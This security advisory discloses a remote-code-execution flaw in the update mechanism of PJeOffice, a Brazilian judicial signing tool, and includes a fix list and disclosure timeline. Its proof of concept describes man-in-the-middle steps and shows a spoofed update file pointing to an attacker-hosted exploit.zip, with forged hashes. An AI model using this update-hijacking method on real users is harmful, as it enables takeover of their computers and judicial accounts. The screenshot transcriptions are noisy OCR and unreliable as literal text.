IOActive Security Advisory

Title	CNJ PJeOffice Remote Code Execution in Update Mechanism
Severity	Critical
Discovered by	Robert Connolly, Tiago Assumpcao
Advisory Date	2021-03-02

Affected Products

PJeOffice up to version 1.0.18 from National Council of Justice (CNJ) of Brazil

CVSS

Base Score: 8.8

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Background

CNJ's Processo Judicial Eletrônico (PJe) system processes judicial data with the objective of fulfilling the needs of the Brazilian Judiciary Power: Superior, Military, Labor, and Electoral Courts; the courts of both the Federal Union and individual states; and specialized justice systems that handle ordinary law and employment tribunals at both the federal and state level. The main goal of PJeOffice is to guarantee the legal authenticity and integrity of documents and processes through digital signatures. It is employed by lawyers, judges, and high-level officials, such as prosecutors and ministers.

While performing research in 2019, Brazilian lawyer, João Falcão - specializing in Law and Technology, was evaluating the possibility of automating the retrieval and analysis of process information from Brazilian state courts; in an attempt to assist, it was suggested the CNJ PJeOffice be used, as it provides a unified, common-access interface across multiple court systems – which led to the discovery of the vulnerabilities found within the platform's update mechanism, in the first round of tests.

The application's update system is vulnerable to remote code execution, with two immediate implications:

- a) Control of the victim's computer
- b) Control over PJeOffice's user account including all privileges that persons hold within the CNJ PJe platform.



Broader scope attacks can include:

- Government and Industrial espionage
- Market manipulation
- Tampering of legal procedures
- Manipulation of the judicial system
- Break democracy's chain-of-trust

Technical Details

Every time the application is executed, it automatically downloads the following file over unencrypted plaintext HTTP: http://ftp.cnj.jus.br/pje/programs/pje-office/update.properties

This file contains details about the latest available version of the application. When the advertised version number is higher than the currently running application, a second file, the URL of which is taken from the update.properties.file, is downloaded, uncompacted, and executed. A legitimate update URL entry might look something like: update.url=http\://ftp.cnj.jus.br/pje/programs/pje-office/pje-office 1.0.18 update.zip

There is no use of any form of cryptography, such as SSL or TLS. As this file is accessed by way of the plaintext HTTP protocol, it can be modified by any attacker who is able to access and modify the application user's network traffic. As such, the attacker could force the execution of a forged update on the vulnerable user's device.

In order for the vulnerability to be exploited, the attacker must perform a man-in-the-middle (MiTM) attack, positioning themselves between the PJeOffice user and the ftp.cnj.jus.br server.

Possible MiTM scenarios include:

- An application user connecting to an open WiFi, such as in restaurants, hotels, conference centers, airports, shared office working spaces, and coffee shops, amongst others
- ARP spoofing attacks against shared networks
- Compromise of an ISP, home router, WiFi repeater, or other network infrastructure component
- DNS spoofing of cache poisoning attacks

Attack Steps

 Once positioned as a MiTM between a target and the server, the attacker waits for the target to open the PJeOffice application and intercepts the HTTP request for the update.properties URL (http://ftp.cnj.jus.br/pje/programs/pjeoffice/update.properties)



- 2. The attacker spoofs a response, using an update.properties file with attackercontrolled contents, including the specific update.url property, which contains the URL that points to the update ZIP file. Once this is done, the entire update process has essentially been hijacked.
- 3. At this point the application attempts to verify that the downloaded update ZIP file is legitimate. It does this by comparing the various md5sum values found in the update.properties file with the actual md5sum values of the update ZIP file itself as well as a number of components found within it, such as the update JAR file. If any of these hashes do not match, the installation is halted immediately; however as no form of HMAC or other cryptographic security is used, these hashes can easily be forged by the attacker.
- 4. Once the hashes are verified the PJeOffice application considers the downloaded update to be both verified and validated and initializes the update procedure by executing the pjeOfficeAtualizador.jar file.
- 5. The contents of the JAR file are executed with the privileges of the target, thus the attacker has achieved successful remote code execution.

Proof of Concept

A system using official Oracle Java was used to demonstrate this attack. In addition, Burp Suite's intercepting HTTP proxy was used to simulate intercepting and manipulating traffic between the targeted PJeOffice user and the CNJ server.

A web server posing as CNJ's "application store" is set up on the attacker's computer.





The proxy simulating the MiTM is set up.

	urp Suite	Commun	ity Editio	n v2020.1	1.3 - Temporary Pro	oject						
Burp	Project	Intruder	Repeater	Window	Help							
Dash	board	Target	Proxy	Intru	der Repeater	Sequencer	Decoder	Comparer	Extender	Project options	User options	
Inter	cept	HTTP histo	ry W	ebSockets h	istory Options							
0 \$	⑦ Intercept Client Requests ⑧ ⑧ Use these settings to control which requests are stalled for viewing and editing in the Intercept tab. ✓ Intercept requests based on the following rules:											
	Ad	а) [Е	nabled	Operator	Match type	Relationship		Conditio	on]		
	Edi				File extension	Does not match	(^gifs)	^ipa\$ ^pna\$ ^c	ss\$ ^is\$ ^ico\$			
		<u> </u>	V (Dr	Request	Contains parameters	1 2004	Ander Pridel A	and the second			
	Remo	ove		Dr	HTTP method	Does not match	(get po	st)				
	Ur		· · ·	And	URL	Is in target scope				>		
		_										
	Dov	'n										
	Automatically fix missing or superfluous new lines at end of request Automatically update Content-Length header when the request is edited											
	Auto	matically up	missing or date Conte	superfluous nt-Length h	new lines at end of re eader when the reque	quest st is edited						
0 \$	Auto	matically up pt Server settings to o cept respons	Respons control whi	superfluous nt-Length h es ch response n the follow	new lines at end of re- eader when the reque s are stalled for viewing ing rules:	quest st is edited g and editing in the li	ntercept tab.					
0	Auto Auto Interce Use these Inter Addi	pt Server settings to c cept respons	Respons control whi ses based o	superfluous nt-Length h es ch response n the follow Operator	new lines at end of re eader when the reque s are stalled for viewing ing rules: Match type	quest st is edited g and editing in the li Relationship	ntercept tab.	Conditio	200]		
@ \$}	Auto Auto Interce Use these Inter Addi Edi	pt Server settings to c cept response t	missing or date Conte Respons control whi ses based o inabled	superfluous nt-Length h es th response n the follow Operator	new lines at end of re- eader when the reque s are stalled for viewing ing rules: Match type Content type header	quest st is edited g and editing in the li Relationship Matches	ntercept tab. text	Conditio	n			
©	Auto Auto Interce Use these Inter Add Edi	matically up pt Server settings to o cept respons d t	Respons control whi inabled	superfluous nt-Length h es ch response n the follow Operator	new lines at end of re- eader when the reque s are stalled for viewing ing rules: Match type Content type header Request	quest st is edited g and editing in the la Relationship Matches Was modified	ntercept tab. text	Conditio	n			
© \$	Auto Auto Interce Use these Inter Add Edi Remo	matically up pt Server settings to c cept response t t	Respons control whi inabled	superfluous nt-Length h es ch response n the follow Operator Dr	new lines at end of re- eader when the reque s are stalled for viewing ing rules: Match type Content type header Request Request	quest st is edited g and editing in the li Relationship Matches Was modified Was intercepted	ntercept tab.	Conditio	n			
0	Auto Auto Auto Interce Use these Inter Add Edi Remo Use	matically up pt Server settings to c cept response t t	Respons control whi inabled	superfluous nt-Length h es ch response n the follow Operator Or Or Or	new lines at end of re- eader when the reque s are stalled for viewing ing rules: Match type Content type header Request Request Status code	quest st is edited g and editing in the li Relationship Matches Was modified Was intercepted Does not match Lie in target score	ntercept tab. text ^304\$	Conditio	n			
©	Auto Auto Interce Use these Inter Add Edi Remo Up	matically up pt Server settings to a cept response t t vve	Respons control whi inabled	superfluous nt-Length h es ch response n the follow Operator Dr Dr Dr Nnd And	new lines at end of re- eader when the request s are stalled for viewing ing rules: Match type Content type header Request Request Status code URL	quest st is edited g and editing in the la Relationship Matches Was modified Was intercepted Does not match Is in target scope	ntercept tab. text ^304\$	Conditio	n			
0	Auto Auto Interce Use these Inter Add Edi Remo Up Dow	matically up pt Server settings to (cept response t t pype in	Respons control whi inabled	superfluous nt-Length h es ch response n the follow Operator Dr Dr Dr Nnd	new lines at end of re- eader when the request s are stalled for viewing ing rules: Match type Content type header Request Request Status code URL	quest st is edited g and editing in the li Relationship Matches Was modified Was intercepted Does not match Is in target scope	ntercept tab. text ^304\$	Conditio	n			

The target launches PJeOffice.

🖾 C:\WINDOWS\system32\cmd.exe - java -Dhttp.proxyHost=localhost -Dhttp.proxyPort=8080 -jar pjeOffice.jar	-		\times
C:\Users\Rob\pje-office_1.0.18>java -Dhttp.proxyHost=localhost -Dhttp.proxyPort=8080 -jar pjeOffice.jar 2021-01-24 23:07:18,847 INFO [AtualizacaoManager] Classe Arquivo: C:\Users\Rob\pje-office_1.0.18\pjeOffi 2021-01-24 23:07:18,847 INFO [AtualizacaoManager] Diretorio da aplicaþÒo: C:\Users\Rob\pje-office_1.0.18	ce.ja	r	



The attacker intercepts the response from CNJ's official site, redirecting the target to the attacker's fake application store.

💕 Burp	Burp Suite Community Edition v2020.11.3 - Temporary Project											
Burp Pr	Burp Project Intruder Repeater Window Help											
Dashboar	d Target	Ргоху	Intruder	Repeater	Sequencer	Decoder	Comparer	Extender	Project options	User options		
Intercept	HTTP hist	ory We	bSockets history	Options								
Response	Response from http://cni-pie-programs.s3-sa-east-1.amazonaws.com:80/pie-office/update.properties [52.95.164.19]											
Forw	ard	Drop	Intercept is	on	Action	Open Browser	۰. ۲					
Pretty R	aw Render	\n Action	ns v									
1 HTTP/J	.1 200 OK		160/h7hratwati	1XukusII4Z0.	+ViB+PGhariam	2 g 1 = 2MAS = 0k	FZ526/xE120=					
3 x-ams-	request-id:	13DB 49 4C 08	LEECD3		,							
4 Date:	Mon, 25 Jan	2021 02:41	L:16 GMT									
5 Last-N	odified: Mon	1, 05 Oct 2	2020 19:41:39	GMT								
6 ET ag:	"28fe7975c2	9527882ec;	alb4bc3bff3c"									
7 Accept	-Ranges: by	es /										
6 Conter	t-lype: bin t-Length: 6	try/octet-s	stream									
10 Server	· Amagon S3											
11 Connec	tion: close											
12												
13 #												
14 #Mon #	ug 03 19:00	50 BRT 202	20									
15 update	.arquivos.h	sh.origina	al-pje0fficeAt	ualisador.	ar=b06a47b3b	Lbe6aa63c370	055hfe58e5e					
16 app.ve	rsion=1.0.2)										
17 update	.arquivos.h	sh.pje0ffi	ice.properties	s=9b8bc07723	22a54cbc3804	16fa3a1628						
18 update	. arquivos .h	ish.pje0ff;	iceAtual isado	.jar=8afe29	5fc3d6a0d627	281cbcf543d	da					
19 update	. arquivos.h	(127 0 0 1	ice.jar=14dod	/becea9d38b	17cbd97e981a9	125						
20 update	armiver h	/12/.0.0.1	l: 9090/exploit	5.81p	b 522226 - 4146	fb24784ac5a						
22 undate	armiyos h	sh undate	nronerties=3	09b1fe8a524	1f9bcaa4bf4d	258714f						
23 update	.hash=65d2e	2e86448903	9e0c1e059242	76c								
24												

The victim is presented with a new version of PJeOffice.

💕 Burp Suit	e Communi	ty Edition v	2020.11.3 - Te	emporary Pro	oject						_	\times
Burp Project	Intruder	Repeater	Window Help	,								
Dashboard	Target	Proxy	Intruder	Repeater	Sequencer	Decoder	Comparer	Extender	Project options	User options		
Intercept	HTTP history	y Web	Sockets history	Options								
Forward		Drop	Intercept is	on	Action	Open Browser					Comment this item	₩?
							Pl Atualizad	ĩo		~		
								a nova versão	o deste sistema esta	í disponível		
							Voc	:ê gostaria de Yes	instalar esta nova No	versão?		

In order to proceed, PJeOffice forces an auto-update, redirecting the target to the attacker's application store.

C:\WINDOWS\system32\cmd.exe	—	
2021-01-24 23:42:23,149 INFO	[Downloader] Tamanho do arquivo: 31548557 a ser baixado de http://127.0.0.1:9090/exploit.zip	
2021-01-24 23:42:23,157 INFO	[PJeOffice] 24/01/2021 23:42:23 - Iniciando o download do arquivo: http://127.0.0.1:9090/exploit.zip	
2021-01-24 23:42:23,333 INFO	[PJeOffice] 24/01/2021 23:42:23 - Verificando a integridade do pacote de atualizapôo baixado.	
2021-01-24 23:42:23,473 INFO	[PJeOffice] 24/01/2021 23:42:23 - O pacote de atualizapòo foi baixado com sucesso.	
2021-01-24 23:42:23,473 INFO	[PJeOffice] 24/01/2021 23:42:23 - Iniciando o processo de extraþòo dos arquivos do pacote de atualizaþòo.	
2021-01-24 23:42:23,473 INFO	[PJeOffice] 24/01/2021 23:42:23 - Diret%rio de arquivos temporBrios do sistema: C:\Users\Rob\AppData\Local\Temp	
2021-01-24 23:42:23,473 INFO	[PJeOffice] 24/01/2021 23:42:23 - Diret%rio temporßrio da nova versòo: C:\Users\Rob\AppData\Local\Temp\pjeOffice-24_01_2021_23_42_23	r i
2021-01-24 23:42:23,473 INFO	[PJeOffice] 24/01/2021 23:42:23 - Arquivo extraido: C:\Users\Rob\AppData\Local\Temp\pjeOffice-24_01_2021_23_42_23\original-pjeOffice.ja	ar
2021-01-24 23:42:23,645 INFO	[PJeOffice] 24/01/2021 23:42:23 - Arquivo extraido: C:\Users\Rob\AppData\Local\Temp\pjeOffice-24_01_2021_23_42_23\original-pjeOfficeAtu	ualizado
r.jar		
2021-01-24 23:42:23,709 INFO	[PJeOffice] 24/01/2021 23:42:23 - Arquivo extraido: C:\Users\Rob\AppData\Local\Temp\pjeOffice-24_01_2021_23_42_23\pjeOffice.jar	
2021-01-24 23:42:23,803 INFO	[PJeOffice] 24/01/2021 23:42:23 - Download finalizado com sucesso!	
2021-01-24 23:42:23,803 INFO	[PJeOffice] 24/01/2021 23:42:23 - Arquivo extraido: C:\Users\Rob\AppData\Local\Temp\pjeOffice-24_01_2021_23_42_23\pjeOffice.properties	r i
2021-01-24 23:42:23,803 INFO	[PJeOffice] 24/01/2021 23:42:23 - Arquivo extraido: C:\Users\Rob\AppData\Local\Temp\pjeOffice-24_01_2021_23_42_23\pjeOfficeAtualizador	.jar
2021-01-24 23:42:23,819 INFO	[PJeOffice] 24/01/2021 23:42:23 - Arquivo extraido: C:\Users\Rob\AppData\Local\Temp\pjeOffice-24_01_2021_23_42_23\update.properties	
2021-01-24 23:42:23,819 INFO	[PJeOffice] 24/01/2021 23:42:23 - O pacote de atualizapòo foi extraidos com sucesso!	
2021-01-24 23:42:23,819 INFO	[PJeOffice] 24/01/2021 23:42:23 - Iniciar o processo de verificapòo de integridade dos arquivos extraidos do pacote de atualizapòo.	
2021-01-24 23:42:23,819 INFO	[PJeOffice] 24/01/2021 23:42:23 - Verificando a integridade dos arquivos do diretorio: C:\Users\Rob\AppData\Local\Temp\pjeOffice-24_01_	2021_23
_42_23		
2021-01-24 23:42:23,834 INFO	[PJeOffice] 24/01/2021 23:42:23 - Verificando a integridade do arquivo: C:\Users\Rob\AppData\Local\Temp\pjeOffice-24_01_2021_23_42_23\cdots	original
-pjeOffice.jar		
2021-01-24 23:42:23,897 INFO	[PJeOffice] 24/01/2021 23:42:23 - Verificando a integridade do arquivo: C:\Users\Rob\AppData\Local\Temp\pjeOffice-24_01_2021_23_42_23\c	original
-pjeOfficeAtualizador.jar		
2021-01-24 23:42:23,912 INFO	[PJeOffice] 24/01/2021 23:42:23 - Verificando a integridade do arquivo: C:\Users\Rob\AppData\Local\Temp\pjeOffice-24_01_2021_23_42_23\;	pjeOffic
e.jar		ľ
2021-01-24 23:42:23,943 INFO	[PJeOffice] 24/01/2021 23:42:23 - Verificando a integridade do arquivo: C:\Users\Rob\AppData\Local\Temp\pjeOffice-24_01_2021_23_42_23\;	pjeOffic
e.properties		
2021-01-24 23:42:23,943 INFO	[PJeOffice] 24/01/2021 23:42:23 - Verificando a integridade do arquivo: C:\Users\Rob\AppData\Local\Temp\pjeOffice-24_01_2021_23_42_23\;	pjeOffic
eAtualizador.jar		
2021-01-24 23:42:23,943 INFO	[PJeOffice] 24/01/2021 23:42:23 - Verificando a integridade do arquivo: C:\Users\Rob\AppData\Local\Temp\pjeOffice-24_01_2021_23_42_23\t	update.p
roperties		
2021-01-24 23:42:23,943 INFO	[PJeOffice] 24/01/2021 23:42:23 - Parando o servidor WEB.	r i
2021-01-24 23:42:23,943 INFO	[PJeOffice] 24/01/2021 23:42:23 - Atualizando o JAR pjeOfficeAtualizador.jar.	
2021-01-24 23:42:23,943 INFO	[PJeOffice] 24/01/2021 23:42:23 - Executando o JAR pjeOfficeAtualizador.jar.	
C:\Users\Rob\pje-office_1.0.1	85_	

A modified version of PJeOffice is downloaded and launched. Instead of executing the original program, the attacker's payload launches an arbitrary application of choice (MS Window's calculator for this proof of concept).

🚯 Burp Suite	Calculator		-		\times					
Burp Project	= Sta	ndard 7	9		5				I	
Dashboard	Sta	nadia "	-		0	Decoder	Comparer	Extender	Project options	User options
Intercept										
					0					
Forward					U	Open Browser				
	MC I	MR M+	M-	MS	MŤ					
	0/	CE	C		<u>م</u>					
	/0	CE	C							
	1,	2	2-							
	y_x	<i>x</i> ²	$\sqrt[n]{x}$		·					
	7	8	9		X					
	4	5	6	-	-					
	1	2	3	-	+					
	+/_	0		:	=					
		,	•							



At this point the attacker has full control of the targeted user's computer and all privileges of the PJeOffice authenticated session within CNJ PJe.

Fixes

- All communications between client application and backend services must be encrypted over SSL/TLS.
- Server-side authenticity must be verified through certificate validation.
- The HMAC hash validation of the update bundle must ensure that no tampering has occurred.

Timeline

- 2019-07: IOActive consultants discover vulnerability
- 2019-08: IOActive reports the issue to PJeOffice's maintainer, Pernambuco Court of Justice (TJPE)
- 2019-09: The issue was fixed and PJeOffice 1.0.19 was released to the public: https://www.cnj.jus.br/nova-versao-do-pjeoffice-torna-atualizacao-automatica/
- 2021-03-02: IOActive publishes advisory